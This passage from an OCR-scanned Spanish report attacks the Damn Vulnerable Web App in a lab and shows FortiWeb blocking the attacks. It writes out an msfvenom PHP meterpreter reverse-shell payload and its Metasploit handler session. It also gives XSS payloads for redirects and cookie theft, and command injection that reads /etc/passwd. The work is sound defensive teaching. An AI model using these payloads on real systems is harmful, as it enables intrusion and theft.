4 System > RIGETER RADIUS Server | NTLMServer | KDCServer — SAML Server
i FortiView > createNew [#Edit T Delete

& User vI# Name Server [P/ Domain Port Common Name |dentifier Distinguished Name
User Group 1 Connection_ldap 20202010 389 sAMAccountName DC=aliada,DC=comDC=pe

Local User

Remote Server

PKI User
B Policy
&5 Server Objects
o+ Application Delivery
& Web Protection
8 FTP Security
10 DS Protection
I 1P Protection
0 Tracking
= AutoLearn
@ Web Vulnerability Scan
sl Log&Report
€ Monitor

Figura 27. Conexion Idap a Windows server
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Podremos visualizar que al solicitar las credenciales recibimos el

coédigo de estado 401 unauthorized que significa que se requieren sus

credenciales.
423 FortiWeb - FortiWeb X » Nuevapestana X \+ =N
X @ Q 19216811 nag 2
Se requiere autenticacion
http//192.168.1.1 esta pidiendo usuario y contrasefia. H sitio dice:
®
Nombre de usuario:
Contrasefia:
Aceptar Cancelar

Esperando 192.168.1.1..

N IR

Figura 28. Autenticacion adicional agregada por Fortiweb

3 Forieb - Foriweb X ‘ 1921681 dwalloginghp X ‘+ ] x|
& ¢ @ @ 192.168.1.1/dvwa/login php we o @0 I & @ =
[® L} lInspector Consola O Depurador  {) Editordeestilo @ Rendimiento {0k Memoria = Red B Almacenamiento ¥ Accesibilidad ﬂ e X
W7 Filtrar URLs 1 HTML CSS JS YHR Tipogiafia Imégenes Medios WS Ofro [ ]Registros persistentes [ ] Deshabilitar caché  Sinregulacion HAR ¢

Estado Método Dominio A. Causa Tigo Transferido [Pl Encabezados Cookies Pardmetros Respussta  Tiempo  Rastreo de pila

1668 URL solicitada: http://192.168.1.1/dvwa/login.php A
Método solicitado: GET

Direccion remota: 192.168.1.1:88

Cédigo de estado: [ unauthorized () Editaryreemviar  Encabezados en bruio

Versién: HTTP/1.1

Politica de referencia: no-referrer-when-downgrade

¥ Filtrar encabezados

B log.. document  plain
GET Z 19216811 [ favi.. img html en caché

+ Encaberados de respuesta (166 8]
Cache-Control: no-cache

Content-Length: 0

Date: Fri, 26 Apr 2019 120451 GMT
Pragma: Mo-cache
WWW-Authenticate: BASIC realm="dvwa"

@ 2pedidos  291B/166Btransferido  Finalizado: 1315 DOMContentloaded: 1,185 load:

 Encabezados de solicitud (1,067 KB)

axt/himlannlication

o (NPl s

* T 2670472019

Figura 29. Cédigo de estado 401
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9. Ataque secuencia de comandos en sitios cruzados XSS

9.1 Secuenciade comandos en sitios cruzados XSS

Es importante tener en cuenta que, con esta vulnerabilidad, los
atacantes explotan la confianza que un usuario tiene en un sitio en particular,

y esto nos da una dimensién del impacto que puede tener.

Este tipo de vulnerabilidad puede ser explotada de dos maneras: de
forma reflejada y de forma almacenada. A continuacién, haré una breve

explicacion de cada una.

XSS reflejada

Consiste en modificar valores que la aplicacion web usa para pasar
variables entre dos paginas. Un clasico ejemplo de esto es hacer que a través
de un buscador se ejecute un mensaje de alerta en JavaScript. Con XSS
reflejado, el atacante podria robar las cookies para luego robar la identidad,
pero para esto, debe lograr que su victima ejecute un determinado comando
dentro de su direccion web.

Para esto, los cibercriminales suelen enviar correos engafiosos para

gue sus victimas hagan clic en un enlace disfrazado y asi se produzca el robo.

Para nuestro ejemplo usaremos un equipo Kali Linux para poder

generar un archivo malicioso llamado documento.php

:~# msfvenom -p php/meterpreter/reverse tcp LHOST=192,168.1.15 LPORT=8680 R > documento.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes

:-#I

Figura 30. Generando archivo malicioso

Este documento sera subido en el sistema DVWA en la opcién de
Upload, pero antes de realizar la carga del archivo dejaremos en modo de

escucha la puerta trasera que estamos generando desde metasploit a
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continuacioén se ve lo indicado.

mst exploit( J oD

exploit

To bind to 192.168.1.1:88080: -
handler on ©6.0.0.0: 8680

failed
reverse TCP

Handler
Started

Figura 31. Ejecutando exploit

Ahora vamos al sistema DVWA vy cargaremos el archivo

documento.php en Upload veremos el mensaje de carga completada.

=]

Damn Vulnerable Web App (0 X | 4

<« c @

80%

@ 192.168.1.1/cv ulnerabilities/uploac - O W% m O &

T Vulnerability: File Upload

Instructions

Choose an image to upload:
Setup

Bxaminar.. | documento php

Bruts Force | o]

‘Command Execution

|
CSRF
File Inclusion |
SaL Injection |

SQL Injection (Blind)

XSS reflected |
XSS stored

DVWA Security |

PHP Info
About |

Logout |

More info

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

Figura 32. Subiendo archivo malicioso

=]

Damn Vulnerable Web App (' X

<« Cc ® 192.168.1.1/dvwa/vulnerabilities/u &% n o e

Vulnerability: File Upload

80%

Choose an image 1o upload
Examinar... | No se seleccioné un archivo

n
Security Level: low
PHPIDS: disabled

Upload

More info

View Source | View Help

~

<O R e

Figura 33. Mensaje de carga correcta
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Ahora iremos a XSS reflected y agregaremos el siguiente script

<script>window.location="http://192.168.1.1/dvwa/hackable/uplo
ads/documento.php"</script>y daremos clic en Submit.

[® Damin Vulnerable Web App (0' X | + - a

& ¢ @ ® 192.168.1.1/dvwa/vulnerabil ties/xss r/ % v © mn@oe =

Home Vulnerability: Reflected Cross Site Scripting (XSS)

Setup What's your name?

ocumento.php'</scipt> | Submit

CommandExecuion | pora jnfo

Username: admin Source
Security Level: low Miew ¥iow lp
PHPIDS: disabled

» 14:20
o
0% B yoanos

Figura 34. Ejecutando script malicioso

Veremos como la pagina web se queda cargando sin mostrar

informacion alguna.

oy

| 55 1

py o 8] 192.168.1.1/dvwa/hackablefup X |+ = 18

D < C @ ® 192.168.1.1/dvwa/hackable/uploads/documento.php 80% o o I MO & E‘)

"
= 16:08
A ) ™~ 1
el 14/04/2019

Figura 35. Pagina no muestra informacion
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Vamos a Kali Linux para ver la apertura de la conexién hacia el

servidor backend.

=[ met v4.16. ]
=[ 1773 exploits - 1011 auxiliary - 307 post ]
+ -- --=[ 538 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler

msf exploit( ) > set payload php/meterpreter/reverse tcp
payload => php/meterpreter/reverse tcp

msf exploit( ) > set LHOST 192.168.1.1

LHOST => 192.168.1.1

msf exploit( ) » set LPORT 8086

LPORT => 8080

msf exploit( ) > exploit

Handler failed to bind to 192.168.1.1:8080:-
[*] Started reverse TCP handler on 0.0.0.0:8080
[*] Sending stage (37775 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.1.15:8080 -> 192.168.1.1:50804) at 2019-04-14 12:03:55 -0300

meterpreter > ||

Figura 36. Conexion establecida con el servidor

Ahora ejecutamos unos comandos de prueba donde obtenemos

informacioén del servidor backend.

Handler failed to bind to 192,168.1.1:6089:- -
|*] Started reverse TCP handler on 9.0.0.0:8060
|*] Sending stage (37775 bytes) to 192,166,1.]
[*] Meterpreter session 1 opened (192,168.1,15:8080 «> 192,168.1,1:50804) at 2019-04-14 12:03:55 -6300

neterpreter > pud

var /v /dwia/hackable/uploads

neterpreter » sysinfo

Computer + netasploitable

05  Linux netasploitable 2,6,24-16-server #1 SP Thu Apr 10 13:56:00 UTC 2008 1686
Meterpreter + php/Linux

neterpreter » I

Figura 37. Ejecucion de comandos al servidor

Con estos sencillos pasos, ejecutamos una puerta trasera en la
maquina en un equipo cliente que nos permite acceder al servidor backend

usando Metasploit.
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XSS almacenada
Consiste en insertar cédigo HTML (programacion web) peligroso en

sitios que lo permitan; de esta forma quedara visible a los usuarios que

ingresen en el sitio modificado.

Inyectamos el siguiente script en XSS stored
<script>alert(document.cookie)</script> daremos clic en Signh Guestbook

para poder obtener la ok actual de nuestra sesion y veremos que sucede.

- a

B Damn Vulnerable Wob App (01 X |+

&« cC o @ 192.168.1.1/dvwa/vulnerabilities/xss_s/ B eox e s N @& =

Vulnerability: Stored Cross Site Scripting (XSS)

Name * test2
<SCRIPT-alertidocument cookie)</SCRIPT=

Brute Force Message *

CSRF _Sign Guesibook |

Name: test

JCELE=EE) | Message: This is a test comment

XSS reflected More info

http:/iha

Username: admin
Security Level: (0w
PHPIDS: disabled

= 12:37
" 14/0472019

Figura 38. Ejecutando script malicioso

Obtenemos como resultado el valor de la cookie del usuario.

= Damn Vulnerable Web App (0" X 4

< - X @ @ 192.168.1.1/dvwa/vulnerabilities/xss s/

wEl é ﬁ / o e R
. - 3 9D ) O S it

Figura 39. Obteniendo cookie después del ataque
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Para la siguiente prueba iremos nuevamente a XSS Stored

inspeccionaremos la pagina web y modificaremos ambas cajas de texto las

cuales estan limitadas a 50 palabras lo que haremos es modificar a 500.

Damn Vulnerable Web App (0 X | 4 - a
&« a0 @ 192.168.1.1/dvwa/vulnerabilities/xss s/ B e e w N oe =
N
Home Vulnerability: Stored Cross Site Scripting (XSS)
Instructions
Name *
EE—
LT — e
‘Command Execution
CSRF Sign Guestbook
File Inclusion .
[® OJinspector [ Consola (O Depurador  {} Editordeestio (@ Rendimiento R Memoria = Red 8 Almacenamiento i Accesibilidad 0] = X
+ Buscar HTM # [l Reglas Distribucion  Calculada  Cambios  Animacic ¥
«div class="vul ‘cmblﬂ code_area"s " ~ Estilos de filtre
<form method="post" name="guestform” onsubmit="return validate_form(this)™> levent elenento [} {
<table width="558" cellspacing="1" cellpadding="2" border="8"»
<tbody> input, textarea, select { mai
<tryEi¢ftrs 100% arial,sans-serif;
<t ertical-align: middle;
<td width="100">Message *</td> }
<td> Heredada de divi#fmain_body
ength="50"></textarea>
divimain_body 1 { main.css:141
Font sizer 13px;
}
Heredada de div#container
diviicontainer { main.css:118
font size: 13px;
+ Heredada de body
html > body he divicon Vbody > div > div jearea > form > table > thody > tr > td > tedarea body {- main.cssil
1251
i 1
e )
Figura 40. Modificando tamafio de campo
- - 8
I Damn Vulnerable Web App (0" X +
€« C @ ® 192168.1.1/dvwa/vulnerabilities/xss s B o % neoe =
~
Home Vulnerability: Stored Cross Site Scripting (XSS)
Instructions
Name *
Setup
Brute Force Messaga *
Command Execution |
CSRF | Sign Guesibook
File Inclusion | v
[® Clinspector [ Conscla O Depurador  {} Editordeestilo (@ Rendimiento £ Memoria = Red B Almacenamiento ¥ Accesibilidad ] - X
+ # [ Reglss Distibucion  Calulada  Cambios  Animacic ~
<div class="vulnerable_code area"> A7 Estilos de + % ds
«form method="post" name="guestforn" onsubmit="return validate_form(this)"> event elesento 3 { incorporado A
<table width="558" cellspacing="1" cellpadding="2" horder="8"» }
<tbody> input, textarea { L
ctry i </tey font: b 108% arial,sans-serif;
ctrs vertical-clign: middle;
<td width="100"sMessage *</td> }
ctd> Heredada de divémain_body
ctextarea name="wtxMessage” cols="50" rows="3" maxlength="500"></textarea>
s divimain_body main. css:141
! font-sizer13pw;
<Jtry N
<t =gt :
</thody> Heredada de divitcontainer
</table> div#container main.css:118
</form» font wize: lipw;
</div> }
<br> « Heredada de body
html > body. divi dive div > div form > table > thody > tr > td > textarea body (1 { nain.cssil
coloo @ 20000

Figura 41. Nuevo tamafio de campo

Ahora con el campo admitiendo mas cantidad de -caracteres

agregaremos el siguiente script:
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<SCRIPT
language="javascript">window.location="http://www.taringa.com";</SC

RIPT>

423 FortiWeb - Fortiweb X | [ Damn Vulnerable Web App (D' X | =+ -8

> C @ © # 192.168.1.1/dvwa/vulnerabilities/xss s/ B s @ 1y o e =

= Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Setup

Name * tp:hwww taringa.com™;</SCRIPT=|
Redirrecion a pagina maliciosa
Brute Force Message *
‘Command Execution
CSRF Sign Guestbook

File Inclusion
QL Injection

— Name: fest
| 5QE ejockian mend) BN Message: This is & test comment
Upload

XSS reflected More info

DVWA Security
PHP Info
About

Logout

Username: admin View Source  View Help

Security Level: low
PHPIDS: disabled

Figura 42. Ejecutando script malicioso

Al dar clic en Sign Guestbook veremos codmo intenta enviarnos a una

pagina que podria ser manipulada por un atacante para robar informacion.

£33 FortiWeb - FortiWeb X 4 Senidor no encontrado X [+ =

< c @ ® www.taringa.com oo P noe =

Hmm. Estamos teniendo
problemas encontrando ese sitio.

No podemos conectarnos al servidor en www.taringa.com.

Si esa direccién es correcta, aqui hay otras tres cosas que puede
probar:

® Pruebe mas tarde.

o Verifique su conexion a Internet.

 Si esta conectado a través de un firewall, verifique que Firefox tiene
permisos para acceder a la Web.

Intente nuevamente

Figura 43. Script se ejecuta correctamente
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9.2 Mitigacién de ataques secuencia de comandos en sitios
cruzados XSS

Fortiweb puede detectar muchos ataques de XSS y fugas de

datos con firmas, estas firmas son actualizadas mediante Fortiguard.

Veremos como replicaremos el ataque XSS reflected y Fortiweb lo

bloquea correctamente.

Damn Vulnerable Web App (0" X | 413 FortiWeb - FortiWeb x |+ = =)

L BRI @® B 192.168.1.1/dvwa/vulnerabilities/xss t/ 8% & Ty moea =

Vulnerability: Reflected Cross Site Scripting (XSS)

Home:
Instructions
Setup.

Brute Force
CommandExecaion | More info
CSRF

File Inclusion

S Injection |

SQL Injection (Blind)

e |

WWhat's your name?

ocumento.php®</script>  Submit

XSS stored

Username: admin Viow Source | Vi
Security Level: low Rl o)
PHPIDS: disabled

Figura 44. Ejecutando script malicioso

The URL you requested has been b X &2¥ FortiWeb - FortiWeb x |+ -a
&« c @ ® 192.168.1.1/dvwa/vulnerabilities/xss_r/?name=<script>window.location%3D*http%3A%2F s e & ¥y @& =

Web Page Blocked!
The page cannot be displayed. Please contact the administrator for additional Information

URL: 192.168.1.1/dvwa/vulnerabilities/xss_r/

Client IP; 192,168.1.2
Attack ID: 20000008
Message [D: 000000008490

Figura 45. Bloqueo de FortiWeb
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Ahora veremos como bloquea un ataque XSS Stored trataremos de

obtener la cookie del usuario mediante el siguiente script

<SCRIPT>alert(document.cookie)</SCRIPT> damos clic

Guestbook y vemos como Fortiweb bloquea el ataque.

en Sign

422 FortiWeb - Fortiweb X I Damn Vulnerable Web App (' X | =+

&« ¢ @ ® 192.168.1.1/dvwa/vulnerabilities/xss s/ E e o &

o Vulnerability: Stored Cross Site Scripting (XSS)

Name * festd
N

<SCRIPT>alert(document cookie)</SCRIPT=>
Brute Force Message *
Command Execution
CSRF Sign Guestbook
File Inclusion
SQL Injection |
[CORHRERETRIN | 1o s s atet ot
Upload |
XSS refiected | More info

Username: admin 4L
Security Level: low View Source | View Help
PHPIDS: disabled

L e

n @ & =

Figura 46. Ejecutando script malicioso

423 FortiWeb - FortiWeb X The URL you requested has been [ X | =

< [N ® 192.168.1.1/cvwa/vulnerabilities/xss s/ % o O

Web Page Blocked!
@ The page cannot be displayed. Please contact the administrator for additional information.

URL: 192.168.1.1/dvwa/vulnerabilities/xss_s/
Client IP: 192.168.1.2

Attack ID: 20000008
Message ID: 000000008660

HEM)Yog

-0

N Do =

Figura 47. Blogueo de FortiWeb
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Ahora ejecutaremos nuevamente en XSS reflected el siguiente script

<SCRIPT
language="javascript">window.location="http://www.taringa.com";</SC

RIPT> previamente modificamos el campo del texto para permitirnos admitir
500 caracteres damos clic en Sign Guestbook y vemos que sucede.

425 FortiWeb - FortiWeb % B Damn Vulnerable Web App (0" X | + - g

2> C 0 ® & 192.168.1.1/dvwa/vulnerabilities/xss s/ B owx @1 o e =

I Vulnerability: Stored Cross Site Scripting (XSS)

Instructions.

Name * v taringa. con;</SCRIPT>]
Setup

Redirrecion a pagina maliciosa
Brute Force Message *
Command Execution
CSRF Sign Guestbook
File Inclusion
SQL Injection

o Name: fost
L Injection (Blind)
| EN Message: This is a tes! comment

XSS reflected More info

DVWA Security
PHP Info
About

Logout

Username: admin [E——
Security Level: low lew Source | View Help

PHPIDS: disabled

Figura 48. Ejecutando script malicioso

Como vemos el ataque fue correctamente bloqueado.

423 FortiWeb - FortiWeb X | The URLyourequested hasbeent X = -9

« (IR ® 192.168.1.1/dvwajvulnerabilities/xss s/ L O 4 n@De =

Web Page Blocked!
@ The page cannot be displayed. Please contact the administrator for additional infermation.

URL: 192.168.1.1/dvwa/vulnerabilities/xss_s/

Client IP- 192.168.1.2
Attack ID: 20000008
Message ID: 000000008818

Figura 49. Blogueo de FortiWeb
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10. Ataque de referencia directa insegura a objetos

10.1 Referencia directainsegura a objetos

Las referencias inseguras a los objetos pueden ocurrir donde la
aplicacion web no valide la autorizacién a esos objetos. El hecho de que un
cliente haya enviado un nombre de usuario y una contrasefia no significa que
deba ser universalmente confiable. Cada solicitud debe validarse para
determinar si esa persona estd autorizada para cambiar las contrasefas de
los demas o no.

Este concepto es similar a A7 y Al10, que vera mas adelante. La
diferencia es que A4 trata especificamente con parametros en lugar de

paginas y entradas de aplicaciones en lugar de redirigir las URL.

Linux permiten ejecutar comandos en una sola linea a través del uso
de una serie de operadores:

e Ampersand (“&”) nos permite que dos o mas
comandos se ejecuten de manera simultanea.
$ cd /tmp & mkdir nombre_directorio

e Barra (“|"): la salida del primero se convierte en la
entrada del segundo.
$ find . | xargs grep cadena_a_buscar

e Doble ampersand (“&&”) u operador AND: el
segundo comando sélo se ejecutara si el primero
termina con éxito.
$ make && make install

e Doble barra (“||”) u operador OR: el segundo
comando se ejecutard si el primero NO termina
con éxito.
$ cp /home/pepe/*.doc /backup/usuarios/pepe ||

echo "Sin hacer nada"

Vamos al Sistema DVWA a la opcion de Command Execution y
escribiremos el siguiente comando & cat /etc/passwd veremos que resultado

obtenemos.
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Como podemos validar el campo que deberia permitir ingresar una

direccion ip no valida los parametros que se ingresan, con el comando
ingresado podemos visualizar el contenido del archivo passwd donde se

registran las cuentas de usuarios, asi como las claves de accesos y privilegios.

= Vulnerability: Command Execution
dsmefrs | Ping for FREE

Enter an P address below:

Brute Force & cat fetc/passwd submit

CSRF

File Inclusion

SQL Injection

SOL njecton (Biind)
Upload

XSS reflected

XSS stored

VWA Seeurity

st

More info - - 2

Figura 50. Ejecutando comandos maliciosos

Ahora vamos a listar los directorios del servidor mediante el siguiente

comando || Is -1 / veamos que sucede.

FortiWeb - FortiWeb X | 3 192.168.1.1:8090/login X Damn Vulnerable Web Apy X + - g

¢« C  ® Noessequro | 192.168.1.1/dvwa/vulnerabilities/exec/# ®H aw 6 :

== Vulnerability: Command Execution
et~ Ping for FREE

Enter an IP address below.

Brute Force s submit

More info

View Source  View Help

Figura 51. Ejecutando comandos maliciosos
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En estos tipos de ataques también puede realizarse mediante
envenenamiento de cookies que ya hemos visto anteriormente, otro tipo de
ataque que podemos ser vulnerables es por la divulgacién de informacion que
podemos observar en la siguiente URL
http://192.168.1.1/dvwa/instructions.php  una extension de archivo .php, por

ejemplo, es una entrada que le dice al servidor web que debe usar su
preprocesador PHP para representar la pagina HTML antes de responder a
los clientes. Si permite que un cliente cargue un archivo PHP arbitrario y luego
vaya a esa URL, puede acceder a cualquier informacion a la que tenga acceso
el médulo PHP.

€ C @ 192.168.1.1/dvwafinstructionsphp

Home

TN
Setup

Brute Force ‘

Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload ‘
X85 reflected

XS5 stored

DVWA Security
PHP Info

About |

ot take responsibility for the way in which
We have made the purposes of the a
used maliciously. We have given warnings and t.

y one uses Damn Vulnerable Web
clear and it should not be
asures to prevent users from

Figura 52. Sistema web muestra extension de archivos

10.2 Mitigacion referencia directa insegura a objetos

Fortiweb nos brinda la posibilidad de aplicar reglas de validacién de
parametros, podemos definir longitudes y tipos de datos para los campos que
necesiten su respectiva validacion, a continuacién, vamos a brindar seguridad
al campo de la pestafia Command Execution, veremos cOmo nos protege de

estos tipos de ataques.
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Ejecutando el comando & cat /etc/passwd vemos lo siguiente:

423 FortiWeb - FortiWeb X [B) Damn Vulnerable Web App (0 X | + -8

&« c o ® 192.168.1.1/dvwa/vulnerabilities/exec 80% e w N @ & =

T Vulnerability: Command Execution

Instroctions SRR | Ping for FREE
Setup

Enter an IP address below

Brute Force & cat /etc/passwd submit

CSRF More info
LEWelnckision

SQL Injection

SQL Injection (Blind)

XSS reflected
XSS stored

Username: admin View Source  View Help

Security Level: high
PHPIDS: disabled

17/04/2019

Figura 53. Ejecutando comandos maliciosos

Podemos ver como Fortiweb bloquea el ataque de manera

satisfactoria.
428 FortiWeb - FortiWeb X The URLyou requested has been b X | == -8
< (CIR ] ® 192.168.1.1/dvwa/vulnerabilities/exec/# ws e @ Ty mWoe =

Web Page Blocked!
@ The page cannot be displayed. Please contact the administrator for additional information.

URL: 192.168.1.1/dvwa/vulnerabilities/exec/

Client IP: 192.168.1.2
Attack ID: 20000005
Message ID: 000000009848

E IR

Figura 54. Bloqueo de Fortiweb

Otra opcion de mitigar este tipo de ataque es aplicando una validacion

del campo para solo permitir el ingreso de una direccion ip a continuaciéon se
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ve como ingresamos el nombre de una persona.

£33 FortiWeb - FortiWeb X l Damn Vulnerable Web App (' X | +

0

95 C @ ® £ 192.168.1.1/dvwa/vulnerabilities/exec/ - @ N noOe =

N

DA

Vulnerability: Command Execution
Ping for FREE

Enter an IP address below:

Brute Force carlos sulca submit
CSRF More info

Username: admin
Security Level: high
PHPIDS: disabled

View Source View Help|

033

17/04/2019

Figura 55. Ejecutando comandos maliciosos

Vemos el log de Fortiweb donde se evidencia el bloqueo de un

parametro invalido.

£33 FortiWeb - FortiWeb X | The URL you requested hasbeen b X | 4 -8
0
&« ¢ ® ® 192.168.1.1:1044/index % o @O moae =
FortiWeb-VM FortiWeb
¥ System > JXP Sl Aggregated Attacks
fortvien g oo wp .
- | % Severity Level: ! Informative © Add Filter x @ Service http
& User > it
5 # | Date/Time | Poliy  Source | Destination Threatlevel  Action M| Cloher Suite floce
Policy > HTTP Versi 1
#1 04161933 DVWA 19216812 2020205 e lest Deny . Parametervame.-(p iggeredparam 2 | sl AT
I Server Objects > | 2 04161925 DVWA 19216812 2020205 s Alert Deny  Parameter name - (ip) triggered param P:'" ] Dxfe"y
o Application Delivery > © | 3 04-1619:24 DVWA 19216812 2020205 e Alert Deny  Parameter name - (ip)triggered param Ma‘:w
t
& Web Protection > 4 04161924 DVWA 19216812 2020205 Erase HITP Header rigeredsignature 00| o
k biliti
R || 5 04161924 DVWA 19216812 2020205 s Erase HITP Headeriggered costomsignat | 1";’;":;:‘;”” hicsoer)
.168.1.1
e — , | 6 04161920 DWA 19216812 2020205 s Erase HTTP Header triggered custom signat o
r :
otection 7 04161924 DVWA 19216812 2020205 s Erase HTTP Header triggered custom signat || FortiWeb Session ID g?mm“KGQQKDHB'Q’Z"”U%SWFC
& 1P Protection > 8 04161924 DVWA 19216812 2020205 = Erase HTTP Header trigeered customsignat [ overity Level [P
Q) Tracking > | 9 04161924 DVWWA 19216812 2020205 weee Erase HTTP Headertriggered customsignat _|{ ienature Subclass Type N/A
= Autolearn 5|10 04161924 DVWA 19216812 2020205 Erase HTTP Header trggeredsignature D¢ |l Gt e A
@WebVunerabiltyScan > || 11 04161924 DVWA 19216812 2020205 e Erase HTTP Headertriggered custom signal || Gorce Country =
o G 1|12 04161924 DVWA 19216812 2020205 et Deny  Page Access Rl Vioton HTTP Content Routing _ none
13 04161924 DVWA 19216812 2020205 Erase HTTP Header triggered signature D0 |{ sqrver pool Srv Aplcacion
Log Access i 14 04-1619:24 DVWA  192.168.1.2 20.20205 wees Erase HTTP Header triggered customsignat || ycarname siles
15 041619:23 DVWA 19216812 2020205 Erase HTTP Header triggered custom signat  |[ \poriociac s
Event 16 04161923 DVWA 19216812 2020205 wwee Erase HITP Headeriggeredcustomsigat | hit://192.168.1 Uvwalvulnerabiltielexe
o 17 04161923 DVWWA 19216812 2020205 Erase HTTP Header triggered signature ID0 o
e 18 04161923 DVWA 19216812 2020205 wee Erase HTTP Header triggered customsignat || Client Device ID none
!
oA 19 04161923 DVWWA 19216812 2020205 Redirect  Start Page Violation Main Type Parameter Validation
Report > 20 04-1619:23 DVWA  192.168.1.2 20.20.20.5 Redirect Start Page Violation Sub Type N/A
Log Policy > |21 04161913 DVWWA 19216812 2020205 Erase HTTP Header triggered signature D0 ([ Threat Level
Tt 5| 22 04161913 DVWWA 19216812 2020205 wee Erase HTTP Header triggered customsignat ., | Threat Weight %0
8 Monitor 5 < > Historical Threat Weight 0 13
¢ T T T T
a & 1 /27 > ¥ [Total:2636] <

034

17/04/2019

Figura 56. Revisando logs generados
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11. Ataque de configuracion de seguridad incorrecta

11.1 Configuracién de seguridad incorrecta

La mayoria de los servidores web tienen paginas predeterminadas.
Cuando configura el servidor web por primera vez, esto ayuda a confirmar
rapidamente que el software se esta ejecutando. Sin embargo, estos archivos
nunca deberian exponerse en servidores de produccion. Este es
esencialmente el mensaje de A5. Estos archivos proporcionan informacion
gue puede ser util para los atacantes. Si sus permisos son incorrectos, estos

archivos también pueden ser un vector de explotacion.

Ingresando a sistema DVWA podemos ver como la extension de la
pagina de inicio de sesion como la de la pestaiia PHP info muestra

informacion sensible del servidor y de la configuracion del sistema web.

L3 C @ 192.168.1.1/dvwa/phpinfo.php

PHP Version 5.2.4-2ubuntu5.10 php
System Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Build Date Jan 6 2010 21:50:12

Server API CGliFastCGl

Virtual Directory disabled

Support

Configuration File letc/php5icgi

{php.ini) Path

Loaded [etc/php5/cgifphp.ini

Configuration File

Scan this dir for letc/php5/cgifcont d
additional .ini files

additional .ini files [etc/phpS/cgifconi.dfgd.ini, fetc/php5/cgifcont.dfmysal.ini,
parsed dimysali ini, dipdo.ini,

letc/php5/cgifconi.d/pdo_mysqlini

PHP APl 20041225

PHP Extension 20060613

Zend Extension 220060519

Debug Build no

Thread Safety disabled

Zend Memory enabled

Manager

1Pv6 Support enabled

Registered PHP zip, php, file, data, http, fip, compress.bzip2, compress.zlib, hitps, fps
Streams

Registered Stream fep, udp, unix, udg, ssl, ssiv3, ssiv2, ls

Socket Transports

Registered Stream | string.rot13, siring.toupper, string.folower, string.strip_tags, convert.*, consumed,
Filters convert.iconv.*, bzip2 *, zlib.*

This server is protected with the Suhus_m Patch 0.9.6.2

Copyright (¢) 2008 Hardened-PHP Froject z["— k=3 ’f‘_]_

Figura 57. Divulgacion de informacion

El archivo phpinfo.php generalmente tiene una funcién simple que
muestra todas las configuraciones de PHP. Cada aplicacién podria tener su
propio archivo php.ini y .htaccess. IIS, Apache o cualquiera que sea su

servidor web puede insertar un encabezado X-Powered-By: y Server: que
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indica qué versiones de servidor y parche estan instaladas. Las huellas

dactilares de la pila de software son utiles para crear ataques o incluso para
comprar ataques predefinidos en el mercado negro.

Si cualquier archivo de configuracién puede ser leido, escrito o
ejecutado por los usuarios en Internet, los atacantes pueden obtener
informacion sobre como explotar los servidores no reparados, reescribir la

configuracion y mas.

& 5 C @ 192.168.1.1/dvwa/login.php

[ ﬂ Elements  Console  Sources  Network  Pedformance  Memory  Application
‘\ ® 0 mY Q Vewm IE = Group by frame Preserve log Disable cache
/ Filter Hide data URLs |11} | XHR JS CS5 Img Media Font Doc WS Ma
DVMA/ 100 ms 200 ms 300 ms 400 ms 500 ms
Name X Headers Preview Response Cockies Timing

- Cache-Control: no-store, no-cache, must-revalidate, post-checks
[ instructions.php

Username P
| leginphp Connection: Keep-Alive
[ login.css Content-Length: @

Content-Type: text/html

Date: Tue, 16 Apr 2010 19:42:41 GMT

Expires: Thu, 1% Mov 1981 98:52:8@ GMT

=| legin_loga,
Password [ Logi | legin_logo.png

Keep-Alive: timeout=15, max=12@
Location: login.php

Pragma: no-cache

Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.18

4 requests | 2.0 KB transf... * Request Headers (10)

i Console  What's New X
Highlights from the Chrome 73 update

Damn Yulnerable Web Application {DVWA) is 3 RandomStorm OpenSource project

Logpoints
Hint: default usemame is "admin’ with password ‘password'

Detailed tooltips in Inspect Mode

Figura 58. Divulgacion de informacion

Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntus5. 10

Figura 59. Divulgacion de informacion

11.2 Mitigacidén de ataques por configuracion de seguridad
incorrecta

Las pruebas creativas de penetracion realizadas por

especialistas humanos siempre deben ser parte de sus auditorias de
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seguridad, pero las pruebas autométicas también deben formar parte de su

arsenal. Es imprécticamente lento encontrar vulnerabilidades comunes
usando solo pruebas manuales. Para esto, podemos usar el escaner de
vulnerabilidad web integrado de FortiWeb, utiliza HTTP (como sus usuarios)
e intenta encontrar moédulos no parcheados, divulgacion de cédigo fuente, mas

vulnerabilidades a tres de las 10 amenazas principales de OWASP.

e Inyeccion sql.
e Secuencia de comandos en sitios cruzados XSS.
e Ejecucién de comandos.

e Divulgacién de informacion.

Las vulnerabilidades A5 se enumeraran en la Informacion y a veces,
en las categorias de vulnerabilidades de divulgacion de fuentes. También
puede usar la categoria de firmas de Divulgacion de informacion para
encontrar vulnerabilidades A5. Otra mitigacion de Fortiweb es usar el
autoaprendizaje el cual detecta las direcciones URL sensibles de cada

servidor y por ultimo definir reglas de acceso a URL sensibles.

Para bloquear los ataques de divulgacion de informacion activaremos

en firmas de Fortiweb como veremos a continuacion:

£73 Fortieb - FortiWeb x + =B
&« ¢ @ () 192.168.1.1:1044/index W% e Pxd mwmoe =
S22 FortiWebVM Fortiweb
£ System » A | EditSignature Policy
8w FortiView >
& User N Name DVWA_Signatures
B policy » Custom Signature Group. Custom_signatures_dvwa - @
& Server Objects > Comments o
o Application Delivery >
@ Web Protection " Name Status False Positive Mitigation Action Block Period Severity Trigger Action
N . Cross Site Scripting [ o) Alert & Deny 60 High
nown Attacks
Cross Site Seripting (Extended) © Alert & Deny 50 Medium
Chustom Slenature SO Injection © e ] Period Block 20 High
Advanced Protection » 5QL Injection {Extended) © @ Period Block 60 Medium
Cookie Security SQL Injection (Syntax Based Detection) © Period Block 60 High
Input Validation > Generic Attacks © Alert & Deny 50 High
Pratocol Generic Attacks(Extended) © Alert &0 Medium
Access ? Known Exploits © Alert & Deny 60 High
